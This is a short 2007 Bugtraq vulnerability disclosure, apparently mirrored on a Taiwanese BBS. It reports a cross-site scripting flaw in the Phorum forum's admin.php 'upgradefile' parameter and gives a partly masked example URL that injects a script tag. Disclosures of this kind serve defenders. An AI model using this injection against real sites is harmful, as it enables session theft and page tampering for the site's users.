› 看板 Bugtraq 關於我們 聯絡資訊
發信人raed@bsdmail.com ("RaeD Hasadya"),
看板Bugtraq
標 題XXS in script Phorum
發信站NCTU CSIE FreeBSD Server (Tue Mar 6 10:08:06 2007)
轉信站ptt!FreeBSD.csie.NCTU!not-for-mail
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Script : Script Phorum Found By : Hasadya Raed Contact : RaeD@BsdMail.Com =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D exemple: http://www.site.com/[path]/admin.php?upgradefile=3D">**********alert(******= **.******);</script> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Greetz : Only To Security Focus :) --=20 _______________________________________________ Get your free email from http://bsdmail.com